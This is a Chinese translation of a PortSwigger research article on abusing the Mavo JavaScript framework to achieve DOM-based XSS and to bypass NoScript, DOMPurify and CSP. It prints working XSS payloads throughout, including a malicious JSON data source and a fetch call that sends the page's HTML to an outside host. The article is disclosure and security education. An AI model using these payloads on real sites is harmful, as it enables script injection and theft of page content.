安全文库

【技術分享】妙用JavaScript繞過XSS過濾


【技術分享】妙用JavaScript繞過XSS過濾

2017-09-15 09:58:09 閱讀:12390次 點贊(0) 收藏 來源: portswigger.net

作者:blueSky


【技術分享】妙用JavaScript繞過XSS過濾

譯者:blueSky

預估稿費:200RMB

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

前言


在一年一度的AppSec Europe會議上, Sebastian Lekies,Krzysztof Kotowicz和Eduardo Vela Nava三人共同展示了如何使用JavaScript框架來繞過XSS緩解機制。在這篇文章中,我將通過Mavo框架對如何繞過XSS緩解機制進行系統性的分析,特別是繞過NoScript的XSS過濾器。 Mavo框架旨在通過使用戶能夠使用純HTML創建交互式Web應用程序來簡化Web開發。 它在Smashing magazine 站點上發布,我在Twitter上發現了它,出於興趣使然我開始對該框架的的語法和功能進行研究和分析。 


基於DOM的XSS漏洞利用


Mavo框架會創建一個名為$url的對象,該對象能夠為開發人員提供訪問GET參數的便捷方法。例如,如果你想訪問GET參數“x”,那麼你可以訪問$ url對象的“x”屬性,示例如下所示: 

$url.x //獲取GET參數x

但是,這種方便性也增加了開發人員引入基於DOM的XSS漏洞的可能性。 我在2017年5月31日向CSS工作小組報告了這樣一個問題:他們使用Mavo來管理CSS規範上的評論功能,並使用$url來分配一個href超鏈接對象,HTML代碼如下所示: 

<h1> <a href="{$url.spec}" mv-attribute="null" property="title"> </a> </h1>

我們可以看到,上述代碼使用$url對象從URL中獲取參數的值。但是,這種情況只有在獲取到有效數據的時候,超鏈接才會顯示。因此為了達到攻擊測試的目的,我需要注入一個有效的相對路徑的JavaScript URL,以便獲取數據並顯示鏈接,代碼如下所示。 

javascript:alert(1)%252f%252f..%252fcss-images

上面的攻擊向量中提供了一個有效的相對路徑的URL,因此Mavo在不存在的javascript:alert(1)文件夾中查找數據,並使用兩個編碼的雙斜杠和“..”遍歷我們的攻擊向量。 在攻擊向量中,由於雙斜杠可以作為JavaScript中的註釋因此我使用了兩個斜杠,使得當JavaScript URL執行時,它會註釋掉攻擊向量中的其餘路徑。 然後它返回到css-images目錄,以便成功加載數據並顯示URL。由於Mavo框架是在客戶端使用的,因此我們可以在我們的服務器上復現這個問題,感興趣的讀者可以點擊查看相關的POC攻擊向量


遠程加載JSON數據


Mavo框架有一個特別的功能,該功能可以將任何Mavo應用的數據源更改為本地存儲或遠程存儲。 這是一個存在漏洞的設計,因為攻擊者可以藉此控制你的數據並可能使用這些數據來攻擊你的網站或者在你的網站中注入惡意的JavaScript URL。 Mavo網站上的演示應用程序就有這個漏洞,我們可以使用source參數指向一個外部的JSON文件,以此來自定義該應用程序上的數據。 這個外部JSON文件具有CORS header:“Access-Control-Allow-Origin:*”,使得數據能夠跨域加載。 然後應用程序使用這些數據來創建一個anchor href,代碼如下所示: 

<a property="companyURL" mv-attribute="null" href="[companyURL]" target="_blank"> http://lea.verou.me </a>

在href屬性中,demo應用程序使用了一個Mavo表達式,“companyURL”從外部JSON中獲得。如果我在外部JSON文件中包含以下內容: 

  {     “companyLogo”:“http://lea.verou.me/logo.svg”,     “companyName”:“Pwnd Pwnd”,     “companyAddress”:“Pwnd”,     “companyURL”:“javascript:alert(1)”,     “companyEmail”:“pwnd”, ...

當上述的攻擊向量執行的時候,由於加載了外部數據並將當前的數據給替換了,此時一個JavaScript URL便在文檔中成功創建了,感興趣的讀者可以點擊查看相關的POC攻擊向量 。 


繞過NoScript XSS檢測


默認情況下,Mavo允許我們將HTML文檔中的MavoScript嵌入到方括號內。 MavoScript是JavaScript的一種擴展,但是它和JavaScript有一些不同。 例如,它支持關鍵字'and','or'以及'mod'運算操作,它將'='操作的含義更改為比較而非賦值,並支持Math和date對象中的各種功能的函數。有關MavoScript語法的更多信息,請參見此處 。如果Mavo遇到無效的MavoScript,那麼它將把無效的MavoScript當成JavaScript來處理。如果我們想要強制執行JavaScript模式,那麼可以在表達式開始的地方使用註釋。例如,假如我們想要Mavo來計算HTML文檔中的“1+1”表達式的值,並且該頁面容易受到XSS的攻擊。 Mavo使用[]來計算表達式的值,而Angular使用{{}}來計算表達式的值,因此我們在HTML文檔中可以注入以下表達式:

inj=[1%2b1]

在Mavo中是完全沒有沙盒的,但我們的代碼會被重寫,並在一個with語句中執行。要調用alert函數,我們需要使用window對象,這裡window.alert或self.alert函數都可以,代碼如下所示: 

[self.alert(1)]

我們甚至可以通過使用間接調用達到不使用window對象也可以調用alert函數的目的,代碼如下所示:

[(1,alert)(1)]

Mavo還支持一些有趣的自定義HTML屬性,mv-expression允許我們可以定義用作表達式分隔符的字符。例如,如果要我們想實現類似Angular的雙捲曲語法的功能,可以使用mv-expressions屬性來實現,代碼如下所示: 

<div mv-expressions =“{{}}”> {{top.alert(1)}} </div>

此外,Mavo還支持“property”屬性,該屬性可以將一個DOM元素的值鏈接到一個JavaScript變量。 Mavo網站上有關於該屬性使用方法的一個例子,代碼如下所示: 

<p>Slider value: [strength]/100</p> <input type="range" property="strength" title="[strength]%" />

Mavo框架中還有兩個有趣的功能,那就是mv-value和mv-if,這兩個功能允許我們執行沒有[]分隔符的表達式。如果表達式計算為false,mv-if則隱藏DOM元素,並且mv-value計算表達式並更改DOM元素的值。值得注意的是,這些屬性將適用於HTML文檔中的任何標籤,示例代碼如下所示: 

<div mv-if=”false”>Hide me</div>

通過我的研究,發現了MavoScript表達式中有一些有趣的用法。

(1)只要表達式由字母,數字和下劃線組成,我們就可以使用無符號字符串;

(2)對象屬性將被轉換為空字符串(如果它們不存在)。例如,即使沒有這些屬性存在,也可以使用x.y.z。 

基於上述的那些發現,我開始着手我的測試,看看我是否可以繞過NoScript的XSS過濾器(DOMPurify和CSP)。由於我們可以使用Mavo的data- *屬性,因此繞過DOMPurify過濾器是很容易的。通常在Mavo中,我們一般都使用mv-前綴,但是Mavo還支持data-mv- *前綴使得文檔能夠通過HTML驗證。 為了使Mavo與CSP一起使用,我們必須啟用'unsafe-eval'參數。 這是一個存在漏洞的設計,因為一旦“unsafe-eval”參數被啟用,我們就可以在JavaScript中調用各種eval函數。在實際的繞過試驗中,第一次嘗試繞過是使用JavaScript中的“fetch”函數證明了可以繞過NoScript過濾器,並且能夠獲取和發送HTML到遠程目標機器中,示例代碼如下所示: 

[1 and self.fetch('//subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]

因為NoScript的過濾器不能解析“and”關鍵字和方括號表達式語法,因此我可以使用它們來繞過檢測並使用fetch發送HTML文檔。 Mavo還將“&”定義為一個concat運算符,因此在我的POC中使用該“&”來連接字符串,感興趣的讀者可以點擊查看相關的POC攻擊向量 。 

Giorgio(NoScript的作者)修改了NoScript的XSS檢測機制,以檢查這些新關鍵字和方括號語法,但是我通過濫用MavoScript解析器再次繞過了NoScript的檢測機制,示例代碼如下所示: 

[''=''or self.alert(lol)]

在上面的代碼中,MavoScript解析器把“=”解析為“相等”測試,而不是賦值。 我用這個方法逃避了NoScript的檢測機制。 MavoScript將“或”定義為一個運算符,由於該運算符沒有在JavaScript中定義,因此NoScript不會對它進行檢測。如前所述,Mavo還允許我們在mv-if屬性中執行沒有分隔符的表達式,因此我可以使用下面這段代碼來繞過NoScript的新檢測機制。 

<a data-mv-if='1 or self.alert(1)'>test</a>

還記得mv-expressions屬性嗎?我們可以使用該屬性定義自己的分隔符,而且可以使用任何字符來做到這一點,因此我再次使用該屬性逃避了DOMPurify的檢測,示例代碼如下所示: 

<div data-mv-expressions =“lolx lolx”> lolxself.alert('lol')lolx </div>

Giorgio改進了NoScript,並能夠檢測到上述的攻擊向量。不過我仍然發現另一種繞過NoScript的方法,那就是使用元素上的多個屬性來構造我們的攻擊向量。多個表達式可以在屬性內部使用,並且可以被合併到一起,示例代碼如下所示: 

<a href='[javascript][""][[Title][1][x.rel]' rel=) id=x title=alert(> test </a>

我們也可以將常規屬性值與表達式混合使用,以此來避開過濾器,示例代碼如下所示: 

<a href=javascript[x.rel]1) id=x rel=:alert(> test </a>

但是,經過我的測試發現,Nocript最新版本還是能夠檢測到我們上述構造的攻擊向量。不過,我還是想出了一個攻擊向量以繞過它的檢測,示例代碼如下所示: 

[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>

我使用註釋將MavoScript強制轉化到JavaScript模式。 一旦進入JavaScript模式,我在javascript字符串加上雙引號,然後我將該字符串與anchor 屬性的值相結合。由於Mavo解析器使用字母作為操作符以及NoScript不會對其後跟隨字母數字的函數調用進行檢測,因此我可以利用這些特性來躲避檢測。同時,這種方法也可以用來繞過CSP檢測。注意mod是一個運算符,因此允許1跟隨運算符後面即使沒有空格也可以,示例代碼如下所示: 

[self.alert(1)MOD1]

最後結合Mavo允許使用無引號字符串或者直接使用跟隨在“and”等關鍵字之後的無引號字符串,我再次繞過了NoScript的檢查,示例代碼如下所示: 

[omglol mod 1 mod self.alert(1)andlol]

點擊查看PoC

結論


像Mavo這樣的框架可以使開發人員的工作變得更輕鬆,但是為HTML和JavaScript引入新的語法通常會破壞其安全機制(如CSP,NoScript和DOMPurify)。該框架還提供新的操作方式,將不可思議的傳統漏洞(如DOMXSS)引入到應用程序中,甚至會引入數據源劫持等漏洞。 


【技術分享】妙用JavaScript繞過XSS過濾 【技術分享】妙用JavaScript繞過XSS過濾

本文由 安全客 翻譯,轉載請註明“轉自安全客”,並附上鏈接。
原文鏈接:http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html